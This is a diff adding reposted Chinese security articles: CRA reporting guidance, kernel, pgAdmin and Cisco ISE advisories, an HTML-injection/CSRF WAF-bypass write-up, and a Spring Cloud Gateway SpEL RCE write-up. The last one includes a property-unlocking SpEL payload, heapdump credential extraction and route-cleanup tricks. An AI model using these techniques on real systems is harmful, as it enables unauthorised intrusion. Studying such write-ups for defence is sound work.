+【图4：ENISA SRP Early Warning填报】 + +具体字段应以ENISA最新User Manual、Glossary和Guidance为准。 + +5 + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn41INGeyvibqrYM790cPga1SUta6eeqj7dibxPoicHujHicBk7iaTqCiaZclb3X7tqM4LtuRyqRTDnBhfnmXCAcrnxn1ibbeiaOVfiavYh8/640?wx_fmt=png&from=appmsg "") + +72小时、最终报告和用户告知 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn7GLBHv2bUTeL4IWuhsyC3iaEws1UrNAOsibXq3ibZAUzo4KLrJs2qL9ssNXsxtD0po0qGhLxzTZIIZdQ67enJxMiawyctsUEZq0Cs/640?wx_fmt=png&from=appmsg "") + + + +AEV监管报告时间线： + +T0 → 24小时内：早期预警（Early Warning） → 72小时内：漏洞通报（Vulnerability Notification） → 纠正或缓解措施可用后14天内：最终报告（Final Report） + +其中，24小时和72小时都从制造商“知悉”AEV的时点起算。 + +24小时阶段主要用于快速预警；72小时阶段进一步补充产品、漏洞性质、影响和已有措施；Final Report再补充完整分析和整改信息。如果报告的是严重安全事件SI，最终报告应在72小时事件 +通报 +之后1个月内提交。 + +除SRP报告外，CRA第14(8)条还规定了用户告知义务 +。制造商知悉AEV或严重安全事件后，应当告知受影响用户，并在必要时提供风险缓解和纠正措施。 + +因此，一次完整的CRA漏洞响应并不是“ +完成 +SRP +报告 +” +就算结束 +，还需要把监管报告、漏洞修复和用户沟通纳入同一个事件响应流程统筹考虑 +。 + +6 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn7SicV2y0Cibe9mW5wQwRj8FWkAoxLZxk09J2O95YDVLtkcL7ANnY63ibHibx1VyVUKyW5otkWMLmra0xicDkGrEzcBibTUvUh2iaFIV8/640?wx_fmt=png&from=appmsg "") + +企业需要建立的是一条可运行的漏洞响应链 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Pic3rpoCqyn5ibGtCLiaVMXIDQaEvT2KDkia9lZdGK3u7SndibuW0O5hdWluibXpKSh7ZkuAUeMOIMHuvntqmPWialAFhpIDico3X2qvPETz43WI7MU/640?wx_fmt=png&from=appmsg "") + + + +如果再次出现Log4Shell级别的供应链漏洞，企业至少需要快速完成四件事。 + +定位 +：依靠产品资产清单、SBOM和SCA，识别哪些产品包含受影响组件。 + +验证 +：通过技术分析、漏洞验证和必要的渗透测试，确认漏洞在具体产品环境中是否可利用。 + +定性 +：结合可信漏洞通告和威胁情报，判断是否存在可靠的主动利用证据，并确定何时达到CRA意义上的“知悉”。 + +响应 +：依靠明确的PSIRT流程、T0记录、报告职责、SRP提交和整改复测安排，在24小时窗口内推动技术处置和监管报告同步开展。 + +其中，SCA和SBOM对第三方组件风险最直接；SAST更适合用于自研代码漏洞发现和前置治理。 + +围绕CRA落地，海云安 +可以提供CRA合规咨询 +与建设 +、SCA及软件成分风险分析、SAST、渗透测试等技术支持，也可以协助企业建立漏洞报告流程 +。 + +7 + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn4jCdzdjtxHCVEGc5VPDZphFRnG0FEpDKAyrCSsMzruoZ9MeuSUwPOZPFYZmS6vgKa65XkdfuibfT66HZ0WnTE8mNNicRkzK3ibfQ/640?wx_fmt=png&from=appmsg "") + +结语 + +![](https://mmbiz.qpic.cn/mmbiz_png/Pic3rpoCqyn5Qw9nrty7sSys9Vhv4SAicqHOHNeMmlfiajI5XicBMJrAa1LJ8Pd5C4owTXxQCqsA752Yu8Tn5ibwQCwPxicyvdtLT5BuQ1leuh8Kk/640?wx_fmt=png&from=appmsg "") + + + +Log4Shell已经过去几年，但类似的大规模供应链漏洞不会消失。 + +如果 +类似 +事件再次发生，进入欧盟市场的制造商需要迅速判断：产品是否受影响、漏洞 +在产品中 +是否可利用、何时达到CRA意义上的“知悉”，以及在24小时内完成早期预警。 + +CRA第14条考验的不是一张SRP表单，而是企业能否在有限时间内完成判断，并让技术处置、内部协作、监管报告和用户沟通同步运转。 + +**END** + +![](https://mmbiz.qpic.cn/mmbiz_jpg/Pic3rpoCqyn5UsTfluXVmMAVuibVpHb5ygM1TtYtTs8XTb2aYBCibnSyIicGCz8clwzRybUFibsWZv6FMsJPe3pPbxlfIhoOzoNHFFpOX6egXFMU/640?wx_fmt=jpeg&from=appmsg "") + diff --git a/doc/2026-09/Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限.md b/doc/2026-09/Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限.md new file mode 100644 index 00000000..68ce9f58 --- /dev/null +++ b/doc/2026-09/Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限.md @@ -0,0 +1,42 @@ +# Linux 内核曝四个提权漏洞，攻击者可借此获取 root 权限 + 网安百色 2026-09-20 10:34 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/WibvcdjxgJnu5XETDicz5ia0Mwib27lFqREib3Lvp908WcLLcsShy18A4Lw8R9yHGLBnX4J6QvvguGb8KnmXuoCCBAUOrkBTu2ibKPqnc97PxUOkA/640?wx_fmt=png&from=appmsg "") + +最新披露的四个 Linux 内核漏洞，可能让本地攻击者破坏内核内存，并在受影响系统上将权限提升至 root。 + +这些漏洞分别被命名为 DirtyAH6、TUNderflow、PPPoEject 和 DiagSpill，均存在于长期使用的网络代码中，目前上游已提供修复。对应的 CVE 编号为 CVE-2026-80844、CVE-2026-81000、CVE-2026-68121 和 CVE-2026-74469。 +### DirtyAH6：IPv6 认证头处理越界 + +DirtyAH6（CVE-2026-80844）影响 Linux IPsec/XFRM 代码中的 IPv6 认证头处理。当内核处理格式异常的 IPv6 路由头值时，未能正确校验 segments_left 字段，导致内部指针偏移到预期内存区域之外，触发越界内存操作。 + +该漏洞主要是一个本地提权问题——前提是攻击者能够创建或控制合适的网络命名空间。不过，在特定条件下，作为 IPv6 路由器或网关并使用传输模式 AH 的系统，也可能面临远程拒绝服务风险。 + +研究人员在实验室环境中通过内存布局整理（memory grooming）演示了远程获取 root 权限的过程，但也指出纯远程攻击的实现难度极高。 +### TUNderflow：TUN/TAP 子系统整数下溢 + +TUNderflow（CVE-2026-81000）存在于 TUN/TAP 虚拟网络设备子系统中。恶意本地用户可利用特定网络设备配置（包括 Open vSwitch 路径）传入过大的接收头空间值，从而触发漏洞。 + +该错误会在套接字缓冲区分配时引发整数下溢，使数据包数据落到分配区域之外，进而造成越界读写。 +### PPPoEject：PPPoE 释放后重用 + +PPPoEject（CVE-2026-68121）是 Linux PPP over Ethernet 实现中的释放后重用（use-after-free）漏洞。pppoe_sendmsg() 函数在调用下层设备头函数时，仍保留着指向 PPPoE 头的指针。 + +而该回调操作可能重新分配套接字缓冲区，使原指针失效。后续通过悬空指针进行的写入，可能破坏已被释放的内核内存。上游补丁的做法是在创建设备头之后重新加载头指针。 +### DiagSpill：SCTP 诊断报告缓冲区溢出 + +DiagSpill（CVE-2026-74469）影响通过 sock_diag 的 SCTP 诊断报告功能。一个 SCTP 关联最多可包含 65536 个对端传输对象，但相关计数器仅有 16 位宽。 + +当计数达到上限时会回绕归零，导致诊断代码在拷贝对端信息前预留的空间不足，最终产生的溢出会远远超出预期的 Netlink 响应缓冲区范围。 + +与前三个漏洞不同，只要系统支持 SCTP 和 sctp_diag，DiagSpill 就不需要非特权用户命名空间或特殊的 Linux 能力（capabilities）。此外，若启用了 SCTP 地址配置功能，还可能存在远程触发崩溃的条件，但该功能默认处于关闭状态。 +### 修复与缓解建议 + +应升级到包含全部四项修复的内核版本。首批完整修复这四个问题的稳定版本为：Linux 5.10.270、5.15.221、6.1.188、6.6.157、6.12.109、6.18.50 和 7.2.4。 + +若无法立即打补丁，组织应限制非特权用户命名空间，并禁用未使用的 AH6、TUN/TAP、PPPoE、SCTP 或 sctp_diag 功能。但需注意，关闭用户命名空间无法缓解 DiagSpill，不能替代应用厂商的内核更新。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理，文章版权归原作者所有，仅供读者学习、参考，禁止用于商业用途。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片、文字、链接中所包含的软件/资料等，如有侵权，请跟我们联系删除，谢谢！ + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") + diff --git a/doc/2026-09/pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录.md b/doc/2026-09/pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录.md new file mode 100644 index 00000000..38312316 --- /dev/null +++ b/doc/2026-09/pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录.md @@ -0,0 +1,54 @@ +# pgAdmin 严重认证绕过漏洞：伪造 HTTP 头即可冒充管理员登录 + 网安百色 2026-09-20 10:34 + +![](https://mmbiz.qpic.cn/mmbiz_png/WibvcdjxgJnvibWSSrKiasR1mRicMhBLgfzTViaMOa5nicnstL4oSTOib73sicf4nB6aoyHOh8PSiajtGMN0zyUzicQgroLcxAAYNOfENKnyFbQ78RTOw/640?wx_fmt=png&from=appmsg "") + +pgAdmin 4 中存在一个严重漏洞：未认证的攻击者只需提供一个恶意的 HTTP 身份头，即可冒充任意用户——包括已有的管理员账户。 + +该漏洞编号为 CVE-2026-86863，影响使用 pgAdmin **Webserver** + 认证模式的部署环境，CVSS 3.1 评分为 9.8（满分 10）。受影响的版本为 pgAdmin 4 的 6.2 至 9.17，官方已在 9.18 版本中完成修复。 +### pgAdmin 严重认证绕过漏洞 + +pgAdmin 的 Webserver 认证源，原本是为“由上游 Web 服务器或反向代理先完成用户认证、再将请求转发给 pgAdmin”的部署场景设计的。上游组件会通过 CGI 或 WSGI 环境变量，把已认证的用户名传递给 pgAdmin。 + +但问题在于，存在漏洞的实现未能可靠地区分“可信服务器提供的环境变量值”与“远程客户端通过 HTTP 头直接提交的身份值”。 + +WebserverAuthentication.get_user() + 函数会先尝试从请求环境中读取配置好的 WEBSERVER_REMOTE_USER + 值；如果查找失败，就会回退（fallback）到从传入的请求头中读取同名项。 + +由于 HTTP 请求头完全由发送方控制，只要能访问 pgAdmin 实例，攻击者就可以构造一个包含目标账户用户名的头，从而在无需密码、多因素认证或其他有效凭据的情况下，以该账户身份完成登录。 + +如果管理员将 WEBSERVER_REMOTE_USER + 配置成了带 HTTP_ + 前缀或含连字符的值（例如 HTTP_X_FORWARDED_USER + 或 X-Forwarded-User +），风险会进一步加剧。因为 WSGI 服务器通常会把客户端提供的头以这类名称暴露为环境变量——这意味着，即便还没走到回退逻辑，身份来源本身就可能已被攻击者掌控。 + +成功利用该漏洞后，攻击者可以获取管理员或其他高权限用户的 pgAdmin 会话。进入系统后，攻击者便有可能查看、篡改或删除该账户有权访问的数据库对象与数据。 + +该漏洞在两个 CVSS 版本中均被评为“严重”： +
评分体系
严重等级
分数
CVSS 3.1
Critical（严重）
9.8
CVSS 4.0
Critical（严重）
9.3
+CVSS 3.1 向量显示：该漏洞可远程利用、攻击复杂度低、无需任何权限和用户交互，且可能对机密性、完整性和可用性造成重大影响。 + +需要注意的是，此问题仅在 pgAdmin 的 AUTHENTICATION_SOURCES + 配置中启用了 webserver 时才会触发。使用其他 pgAdmin 认证机制的组织不受这一特定 Webserver 认证缺陷的影响。 + +9.18 版本改变了 pgAdmin 处理“断言身份”的方式：更新后的程序会区分真正的 CGI/WSGI 变量与从头派生的值，并且默认只信任前者。 + +管理员如果确实需要使用头提供的身份，必须显式启用 WEBSERVER_REMOTE_USER_FROM_HEADER +。同时，该选项应配合 WEBSERVER_TRUSTED_PROXIES + 的可信代理配置一起使用；部署时还可能需要设置共享密钥头，并通过 WEBSERVER_SHARED_SECRET + 进行校验。 + +此外，修复后的代码会检查实际的套接字对端地址，而不再依赖 request.remote_addr +——后者可能因攻击者操控的 X-Forwarded-For + 值而被伪造。作为额外防护，pgAdmin 现在还会阻止 Webserver 认证方式登录那些 auth_source + 未设为 webserver 的账户。 + +应立即升级到 pgAdmin 9.18（原文写为 4.18，结合上下文应为 9.18）或最新的已修复版本，并审查反向代理的认证设置。 + +本公众号所载文章为本公众号原创或根据网络搜索下载编辑整理，文章版权归原作者所有，仅供读者学习、参考，禁止用于商业用途。因转载众多，无法找到真正来源，如标错来源，或对于文中所使用的图片、文字、链接中所包含的软件/资料等，如有侵权，请跟我们联系删除，谢谢！ + +![图片](https://mmbiz.qpic.cn/mmbiz_jpg/1QIbxKfhZo5lNbibXUkeIxDGJmD2Md5vKicbNtIkdNvibicL87FjAOqGicuxcgBuRjjolLcGDOnfhMdykXibWuH6DV1g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&randomid=p6hk1x4r&tp=webp#imgIndex=1 "") + diff --git a/doc/2026-09/【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460）.md b/doc/2026-09/【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460）.md new file mode 100644 index 00000000..b3e192ab --- /dev/null +++ b/doc/2026-09/【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460）.md @@ -0,0 +1,41 @@ +# 【已复现】Cisco ISE 认证绕过漏洞（CVE-2026-76460） +源影网安 + 源影网安 源影安全团队 2026-09-20 12:08 + +Cisco Identity Services Engine（简称 ISE）是思科推出的企业级身份认证与访问控制平台，部署在组织的网络准入（NAC）核心位置，负责对员工、访客和设备进行身份认证、权限下发与策略执行，并与交换机、无线控制器联动实现动态隔离。作为整个网络的"身份检查站"，几乎所有终端的接入凭据、设备指纹和访问策略都经过它——一旦被攻陷，攻击者等于拿到了整张网络的通行证签发权，这正是它成为高价值攻击目标的原因。 + +CVE-2026-76460 是影响该产品的最高危漏洞，CVSS 3.1 评分  +**10.0（满分）** +，已被 CISA 列入已知被利用漏洞目录（KEV，2026-09-16 收录，修复期限 09-19）。漏洞源于 ISE 的 API 网关（Kong）对部分内部接口未强制执行 JWT 校验，且后端认证组件无条件信任网关转发的身份标识请求头：攻击者只需向受影响接口发送一个携带伪造身份头的请求——不需要任何账号或密码——即可被系统当作管理员，绕过 Web 管理界面的认证。实测确认，攻击者无需任何凭据即可： +**查看任务详情与已安装补丁信息** +、 +**导入并替换系统证书** +（包括管理界面自身使用的证书，可直接替换为攻击者证书）、 +**发起补丁/热补丁的安装与回滚任务** +等管理操作。 + +该漏洞源自一起真实的思科 TAC 支持案例，官方公告指出成功利用"可获得 root 权限命令执行"，且 +**不存在任何临时绕过方案** +，升级是唯一修复手段。 + +需要说明的是，我们在 3.5 GA 版本上的实测确认： +**认证绕过本身完全可复现** +——单个未认证请求即可获得上述管理员级别的接口访问与操作权限；并且通过本漏洞可以进一步触达设备底层的命令执行环境，实测观察到了以 root 权限执行 CLI 命令的效果， +**但该命令执行是有条件且受限的** +：其一，触发依赖目标设备上存在特定的配置前提，并非所有环境默认可达成（出于负责任披露考虑，具体前提条件本文不展开）；其二，受目标构建中多层输入校验与命令行解析机制的约束，攻击者无法直接执行任意多参数命令、无法获得交互式 shell，命令输出也不会直接回传给攻击者。因此公告所述"root 权限命令执行"的完整形态，我们实测未在本版本上直接达成，合理推断为攻击者将本漏洞与其他漏洞或攻击手法 +**组合利用** +的结果。换言之： +**凡是受影响版本，攻击者拿到的是"未认证管理员"，并可能在满足特定条件时触达受限的 root 命令执行；是否进一步到完整 root，取决于目标版本还带着哪些同批漏洞。** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/gRYowTXTvLFYZ2tvelaAlS1Yzl9ibI5eFcWfnWbnkxRAoDDEXNchOuLpxTicibibiaUf0DsSb5OzNads8zeYcvG2KticVKxLEpueL0BibZ8NWjWag4/640?wx_fmt=png&from=appmsg "") +## 影响版本与修复矩阵 + +
Cisco ISE ReleaseFirst Fixed Release
3.1 及更早3.1 Patch 12
3.23.2 Patch 11
3.33.3 Patch 12
3.43.4 Patch 7
3.53.5 Patch 4
+注：3.0 及更早版本已停止软件维护，需迁移至受支持版本；ISE-PIC 3.4/3.5 同样受影响。 + +## 参考 + +https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ISE-ABP-VNSW7Tn5 + + diff --git a/doc/2026-09/从HTML注入到CSRF：一次漏洞组合拳实战.md b/doc/2026-09/从HTML注入到CSRF：一次漏洞组合拳实战.md new file mode 100644 index 00000000..0e84f018 --- /dev/null +++ b/doc/2026-09/从HTML注入到CSRF：一次漏洞组合拳实战.md @@ -0,0 +1,134 @@ +# 从HTML注入到CSRF：一次漏洞组合拳实战 + 蚁景网安 2026-09-20 09:30 + +  + +# 前言 + +免责声明：本文仅供安全学习研究，所有测试均在授权环境或自建靶场中进行。严禁用于非法用途，否则后果自负。 +# HTML注入 + CSRF登出漏洞实战复现 + +漏洞概述 + +在某社区平台的评论功能中发现存储型HTML注入漏洞。虽然前端做了输入过滤，且存在WAF防护，但通过逆向前端加密逻辑并构造特殊payload，成功绕过所有防护，注入恶意 +标签。结合平台存在的GET方式登出接口，实现了点击即登出的CSRF攻击。 + +先在前端进行注入，发现有waf。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0gKibPu1PfDlMZe2hBblXwKccicdJ75dFwt1XybOyqEh7rI0iaAwE303Hw/640?wx_fmt=png&from=appmsg "null") + +WAF规则存在以下缺陷： +1. 1. 标签名和< +之间有空格可绕过 + +1. 2. 属性名大小写敏感 + +1. 3. 只检测小写href + +构造绕过payload： +``` +点击< a HREF="http://***.com">点击 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0v0HIgno0dwBFGUxRicDeOFn37QDbly9E5CY0WxGNPpPyiaGnfdu4W6Gg/640?wx_fmt=png&from=appmsg "null") + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0GicHJ6zKJvrh7THUPsHZfqo27ic7b5l4pnLCG4zQqRJqT4xJXm1wiaiaWw/640?wx_fmt=png&from=appmsg "null") + +但经过浏览器解析，< a + 不会被识别为标签。此时已经不想手动继续尝试了，准备写脚本看看到底哪些操作能绕过waf。 + +通过逐步测试，发现WAF检测规则： + +
测试内容
结果
<a>
拦截
<A>
拦截
< a>
通过
<a >
通过
href=
拦截
HREF=
通过
javascript:
拦截
http://
通过
+ +写脚本过程： + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV07teaU7ytxFq7Lfib1ibkS7P7eTMPcEYNkCgS72QVdFQA7amSah0ESqZQ/640?wx_fmt=png&from=appmsg "null") + +对发表评论进行抓包，当我想模拟请求的时候发现请求体被加密了，这个时候就需要拿出我的逆向功底了 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0O3eps1HtcicIAdQzuicGn7ax2bA7FUBM4um45JfQu8lQCNZeKdIicsGcQ/640?wx_fmt=png&from=appmsg "null") + +全局搜索sign，打断点发包。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0cQHic7zib8ZkZSqzSVxvIwib7icFWqd0F5kfbVn6CibT4NfibpavU6TNX8qA/640?wx_fmt=png&from=appmsg "null") + +关键加密点： +``` + const encrypted = encryptData(content); const sign = generateSign(encrypted, timestamp); +``` + +content就是我们的评论内容，encrypted就是对我们的评论进行了加密，而sign签名则是将加密后的评论内容加上时间戳进行了二次加密。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0rMnDX6sXz5eNIVW8fhfSewLMJfkmqPKf1gDsI0ms0XNMWY5wibSDfyA/640?wx_fmt=png&from=appmsg "null") + +进入encryptData函数，清晰明了的看到是AES加密，直接套库复现就行。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0eQtnoYLSgu1sRHjw4wl6ljJ4OZbjahMRywoFv6CQqED6GOm2mHRpuA/640?wx_fmt=png&from=appmsg "null") + +而签名函数则是md5加盐。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0eiaMuS0yXDzZlgCmXkuiaFTLFzwSJcGR6ib1GMjIEW6L8CuMEmjIqZZ9A/640?wx_fmt=png&from=appmsg "null") + +拿加密之后的值去模拟发包，发现error报错了 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0ahorcnHZNjNLUKjtxCoLURYMu3jmhpGJiaOHKtSLd5I4YFmUibiaKoibqA/640?wx_fmt=png&from=appmsg "null") + +原来是没登录 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0wkcwQPgCdubNNwiauBKoiaaFmwgP1YMQx6lia0x2sdayaic8QodRd05g4Q/640?wx_fmt=png&from=appmsg "null") + +携带登录的参数去测试发现换行符可以绕过WAF且浏览器正常解析！ 最终绕过payload + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0JZ4biaiajqjQ1l64efU2ibib6WdJXA5ACP2LGaQ8IXD9DNbUxnAibClzfHQ/640?wx_fmt=png&from=appmsg "null") +``` +# 使用换行符绕过（注意：前端输入框无法输入换行符，必须通过脚本发包）payload = '点击领取优惠' +``` + +脚本发送成功且没有被waf拦截，评论发布后刷新页面，恶意标签被浏览器解析渲染，显示为可点击的超链接，HTML注入成功！ + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0Akvx6IIdaVz6YvV0icbLSbHmrOHNmicMNkE9UOrmiafZHXEWAflcjzsrQ/640?wx_fmt=png&from=appmsg "null") + +点击之后直接重定向到了登出链接 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0nCMmiabRUJVxF2uNfAicl9wIOzsxibibo7ibjCI4P9RB3WTicEyHLWicohnaw/640?wx_fmt=png&from=appmsg "null") + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0SCibcx4BpqaFOTEibgavsTuZyHN5PSqZ2UZP6AhBqjYHnfSfakhlZvdg/640?wx_fmt=png&from=appmsg "null") + +往回跳一页，一刷新，这个时候就已经登出了，假如用户A正在写文章，同时浏览其他帖子时误点了恶意链接，触发登出。等他切回写作页面点击发布时，才发现session已失效，未保存的内容全部丢失。 + +![](https://mmbiz.qpic.cn/mmbiz_png/5znJiaZxqldzDhic6Oo4iaXMOo2ssnP2BV0SnUKK74GugLKy3uBvxCQP1ibJZthZLk7SdiaAv5VhMUQClmy0SqKbAmQ/640?wx_fmt=png&from=appmsg "null") + +用户点击后直接登出，实现CSRF攻击。虽然危害不算特别大，但足以证明漏洞的存在。 + +**关键点** +： + +前端输入框里按回车是提交表单，没法输入真正的换行符 \n +。所以必须： +1. 1. 先逆向前端加密逻辑 + +1. 2. 用Python脚本构造包含换行符的payload + +1. 3. 自己加密、签名后直接发包 + +这就是为什么前端过滤 + WAF 都挡不住——攻击者根本不走前端，直接构造请求绕过所有客户端校验。最重要的就是敏感操作（登出、删除、修改）不应使用GET方式，否则容易被CSRF利用。 + +当时首次提交的时候，是重定向挂马攻击被打回了，第二次结合了敏感操作也是收录了中危一枚。 +# 总结 + +单个漏洞可能危害有限，但组合起来可能产生更大影响： +- • HTML注入（低危）+ GET登出（低危）= CSRF攻击（中危） + + + +  + +![图片](https://mmbiz.qpic.cn/mmbiz_gif/7QRTvkK2qC6iavic0tIJIoZCwKvUYnFFiaibgSm6mrFp1ZjAg4ITRicicuLN88YodIuqtF4DcUs9sruBa0bFLtX59lQQ/640?wx_fmt=gif&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=10 "") + +学 +习 +网安实战技术 +，戳 +“阅读原文” + diff --git a/doc/2026-09/护网出局单位的RCE.md b/doc/2026-09/护网出局单位的RCE.md new file mode 100644 index 00000000..019cbff9 --- /dev/null +++ b/doc/2026-09/护网出局单位的RCE.md @@ -0,0 +1,69 @@ +# 护网出局单位的RCE +原创 Xluo + Xluo 信息安全中转站 2026-09-20 09:57 + +这家单位是某次护网行动出局的一家单位。 + +业务数据停在半年前，13 个微服务还挂着，网关 7×24 裸奔。就是这种「应该注销却还活着」的资产，被拿到了 Windows SYSTEM。 + +漏洞是公开的，payload 是现成的，触发条件网上也写得很清楚。**过程里真正费时间的，是一个卡点，也是本次分享的一个容易被忽视的思路：SpEL 执行不稳定，跟版本、跟窗口都没关系，根因是路由定义仓库被脏路由污染。** + +前置条件 + +架构是 zhoutaoo/SpringCloud 脚手架改造的网关，Spring Cloud Gateway 3.1.1+，已经修过 CVE-2022-22947。后端 Windows，13 个微服务。 + +CVE-2022-22947 的条件是：WebFlux 变体、依赖 Actuator、exposure.include 暴露 gateway 端点、端点未认证。这台机器 exposure.include=*，actuator 全裸，四条全中。 + +heapdump 里能直接挖出 Redis 密码和认证白名单。Java 字符串默认 UTF-16 存储，解码后检索目标字符串，掩码配置在堆转储里反而全是明文。 + +SpEL 在路由构建期执行 + +利用链本身不新鲜。路由过滤器参数的 #{} 会被当成 SpEL 求值，sink 在 org.springframework.cloud.gateway.support.ShortcutConfigurable[#getValue]() +。 + +调用链是 RouteDefinitionRouteLocator[#convertToRoute]() + → loadGatewayFilters → ConfigurationService.AbstractBuilder[#bind]() + → normalizeProperties → getValue。POST 到 /actuator/gateway/routes 的路由定义，会在路由构建期被解析执行。 + +refresh 发布 RefreshRoutesEvent，触发全量重建，重建时逐个转换定义，SpEL 就在这个阶段跑。时间盲测的原理也在这，sleep(8000) 塞进过滤器参数，refresh 被阻塞约 8 秒，就是执行成功的信号。 + +补丁堵了「读」，没堵「写」 + +3.1.1 修复时引入 GatewayEvaluationContext，禁止 T() 类型引用、构造函数、bean 引用。但赋值型 SpEL 依然合法，可以修改 Spring Environment 属性，这是 CVE-2025-41243，CVSS 10.0。 + +#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor']='false'} + +限制关掉，T() 复活，回到老路。实测 exec 路由不依赖 unlock 前置，unlock 路由经常 404 不持久化，但 exec 照样执行。 + +两张表 + +真正卡人的是执行不稳定。同样的 payload，refresh 有时 6 秒，有时 0.2 秒就完事，后者说明 SpEL 根本没执行。 + +gateway 的 actuator 上有两张表。routes 是构建完成的 Route 视图，DELETE 即消失。routedefinitions 是 RouteDefinitionRepository 里的定义记录，只要 POST 添加过就永久保留。 + +**关键在重建是全量的。refresh 把仓库里所有定义重新加载、逐个 convertToRoute，含 SpEL 的脏定义在受限上下文求值直接抛 SpelEvaluationException，异常向上传播，整批路由构建失败，新路由没有注册机会。** + +于是 SpEL 失效，refresh 0.2 秒空转，sleep 还没轮到求值，构建就断了。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7xn5zj065lzvjOZxjuIb2HJbo6l11wHkRicfqkprerY6K74BpQsgNmnYMSXFciaiaNG51ibg5HtOt19vhATyzhc0kOP8QSXFiaTUH1rmzdnoV1b8/640?wx_fmt=png&from=appmsg "") + +污染机制与清理路径 + +GET routedefinitions 一拉，54 条定义，其中 41 条是攻击者留下的。攻击本身就在污染路由源，而且越打越严重。 + +时灵时不灵，是脏定义和新建路由在重建流里的时序竞争。这个现象跟「窗口期」长得太像，很容易往版本、时间窗口上归因。 + +清理 + +解法不复杂。routedefinitions 拉出来和 routes 对比，多出来的就是脏的，逐个 DELETE /actuator/gateway/routes/{id}，再 refresh。DELETE 会同步清掉仓库里的定义。 + +54 → 13，同一套 payload 一次成功，whoami 返回 nt authority\system。 + +所以routedefinitions 数量明显多于 routes 时，先清理再打，比写重试脚本快得多。 + +路由也改成用完即删，一条路由只 refresh 一次，多 refresh 几次 Nacos 一覆盖，路由就失真了。一个目标被很多人打过时，里面可能混着别人的脏路由，那只能按命名删吧。 + +误删业务路由，那就只能提桶跑路了（笑）。 + +本文为经验分享，目标系统已上报整改，请勿用于未授权目标。 + diff --git a/doc/2026-09/直播回顾 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？.md b/doc/2026-09/直播回顾 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？.md new file mode 100644 index 00000000..06887233 --- /dev/null +++ b/doc/2026-09/直播回顾 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？.md @@ -0,0 +1,144 @@ +# 直播回顾 | 漏洞刚披露，攻击已经开始：企业的响应窗口还剩多久？ + FreeBuf 2026-09-20 10:00 + +![FreeBuf](https://mmbiz.qpic.cn/mmbiz_gif/icBE3OpK1IX0ib18Eqichf1icGFpHQ5rBnK71acFojmyEkPichplM0P1HulAv2DXFibO24TPxPwE9woUqUZV3bEoeJDvKuMjhNpCg2iaUBcv9ggbKI/640?wx_fmt=gif "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/icBE3OpK1IX2tLjsibicm7dKCNdaR7qjYwKgz87aPS6zcGAfViaFW8YRSEgL2zZwZ0skziaVUD5OluSYYxRicGJWkwon6MVdFh0exib9cYibFlrYvUI/640?wx_fmt=png&from=appmsg "") + + +直播精华回顾 + + + + + + + +高危漏洞刚刚公开，PoC、扫描流量甚至真实攻击可能已经跟上。另一边，企业内部还在查资产、核版本、确认业务影响。 + + 